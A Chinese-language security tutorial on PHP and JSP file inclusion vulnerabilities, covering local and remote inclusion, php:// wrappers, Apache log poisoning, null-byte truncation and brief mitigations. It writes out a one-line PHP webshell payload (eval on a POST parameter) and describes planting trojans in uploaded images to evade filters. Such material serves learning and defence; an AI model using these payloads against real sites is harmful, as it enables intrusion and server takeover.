文件包含漏洞

蓝咒 提交于 2020-03-10 06:03:36

php所提供的文件包含功能太强大,导致包含漏洞易出现

php文件包含漏洞

四个函数 include(),include_once(),require(),require_once()
区别:require找不到被包含的文件会报错并停止运行,include则是警告继续运行脚本
once为包含一次的意思,只会包含一次文件中代码

本地包含

只要文件中有正确的php代码,就好被执行。
可利用文件上传与文件包含来执行恶意代码。

非php代码文件会暴露源码信息

远程包含

条件是远程包含功能开启
在php.ini中
all_url_include = off /on 默认为off 需改为on
攻击者可构造恶意站点进行攻击。

$_GET[‘page’]

利用方式

  1. 敏感文件读取
    访问目标主机文件,若有并且可以读取,可以读取文件内容
    无该文件,会有类似open_basedir restriction in effect的警告
    敏感路径
    windows
    在这里插入图片描述

linux
在这里插入图片描述
2. 远程包含shell
若all_url_open是激活状态可以写入一句话木马
如:

<? fputs(fopen("shell.php","w"), "<?php eval($_POST[shell]);?>")

?>

  1. 本地包含+文件上传
    可以上传图片,文档
    采用拼接方式构造图片木马等
    再加上包含漏洞,调用文件
    即使是jpg格式文件php恶意代码也会执行

  2. php封装协议

在这里插入图片描述
①封装协议读取文件
php://filter/read=convert.base64-encode/recource=index.php;
读取源码并加密
对此有:
https://blog.csdn.net/destiny1507/article/details/82347371
②写入php文件
php://input 可以执行php语句,allow_url_include = on
构造

<?fputs(fopen("shell.php","w"), "<?php eval($_POST[shell]);?>")?>

在index.php所在目录下生成shell.php
5. 日志文件利用
利用apache的access.log日志(变像上传文件)
构造一个
http://www.xxx.com/<?php phpinfo(); ?>
apache会记录这条记录
浏览器会对<>进行编码,要抓包修改
然后再用包含漏洞去包含access.log
代码会被执行

首先要确定日志文件路径

  1. 截断包含

部分程序员设计网站时会给包含文件加扩展名的处理
比如包含1.jpg会被解析成1.jpg.php文件不存在!
00截断的方法
1.jpg%00 会截断后面的.php
magic_quotes_gpc=off 若为on%00(NULL)会被转义,会为单引号,双引号,反斜杠,null转义

  1. 绕过waf防火墙
    藏在jpg文件里的木马一般检测不到。

jsp包含

静态包含

特征<%@ include file=“page.txt”%>

动态包含

<jsp: include page=“page.txt”/>

---略

如何杜绝?

  • 保证包含的参数不可以被外部控制
  • 限制被包含文件在某一文件夹
  • 包含文件验证------白名单
  • 不要使用动态包含如 inlcude(“head.php”);
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!